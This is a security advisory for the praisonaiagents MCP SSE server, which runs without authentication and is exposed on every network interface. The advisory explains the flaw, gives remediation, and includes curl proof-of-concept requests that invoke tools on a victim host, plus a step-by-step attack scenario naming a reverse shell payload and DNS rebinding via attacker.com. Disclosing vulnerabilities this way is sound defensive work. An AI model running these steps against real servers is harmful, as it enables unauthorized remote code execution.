GHSA-x227-pf99-vffg: praisonaiagents: unauthenticated MCP SSE server enables RCE

The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport="sse") binds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware and no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls (origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of these functions are ever called by any transport — they are dead code. Any host that can reach the port can list and invoke every registered tool with no credentials, and a victim's browser can drive the same calls against a localhost instance via DNS rebinding. Affected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py - run_sse defaults host to all interfaces (line 245) and builds the app with only `debug` and `routes` - no `middleware=` and no per-route auth/origin gate (lines ~271-289): app = Starlette(debug=self._debug, routes=[ Route(sse_path, endpoint=handle_sse), # "/sse" Mount(messages_path, app=sse_transport.handle_post_message), # "/messages/" ]) uvicorn.run(app, host=host, port=port) - launch_tools_mcp_server also defaults host="0.0.0.0" (line 301). src/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call: - is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167), SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py and the __init__ re-export. (mcp_websocket.py's auth references are CLIENT-side, not server validation.) Impact: launch_tools_mcp_server(transport="sse") is the documented path for exposing tools over MCP. With the defaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals the capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin check, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the JSON-RPC calls cross-origin against a developer's local server. Proof of concept: Static proof (AST analysis of unmodified source): Check 1 - run_sse(host='0.0.0.0'); launch_tools_mcp_server(host='0.0.0.0') -> EXPOSED Check 2 - Starlette(...) kwargs: ['debug','routes'] -> NO middleware= (no auth/origin gate) Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig never called by any transport -> DEAD CODE Live exploitation against a running server: curl -N http://VICTIM:8080/sse # event: endpoint / data: /messages/?session_id=<sid> curl -X POST "http://VICTIM:8080/messages/?session_id=<sid>" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05", "capabilities":{},"clientInfo":{"name":"x","version":"1"}}}' curl -X POST "http://VICTIM:8080/messages/?session_id=<sid>" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"<tool>","arguments":{...}}}' No Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin. Remediation: Wire in the existing mcp_security.py controls and fix defaults: - Default run_sse(host="127.0.0.1"); require explicit opt-in to bind 0.0.0.0. - Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins. - Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and allow_missing_origin=False) for any non-loopback bind. Distinct from prior advisories: The accepted MCP advisories are tool-handler bugs — tools/call path traversal -> .pth RCE (GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj). This is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation and ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern (GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).

An adversary on the same corporate network — or a red teamer operating via a malicious webpage visited by a developer — targets a praisonaiagents SSE server running with default settings. Step 1: connect to http://target:8080/sse; the server immediately streams back a session endpoint. Step 2: POST a JSON-RPC initialize call to /messages/?session_id=<sid> — no Authorization header required. Step 3: call tools/list to enumerate all registered agent tools, identifying a bash_tool or file_write_tool. Step 4: invoke tools/call with the target tool and payload (e.g., a reverse shell command). The entire sequence requires only curl and takes under 60 seconds. For the DNS rebinding variant: adversary hosts a webpage at attacker.com, configures DNS to rebind attacker.com to 127.0.0.1 after initial load, then JavaScript drives the same JSON-RPC sequence cross-origin against the developer's local server — bypassing Same-Origin Policy because the browser now believes it is talking to attacker.com.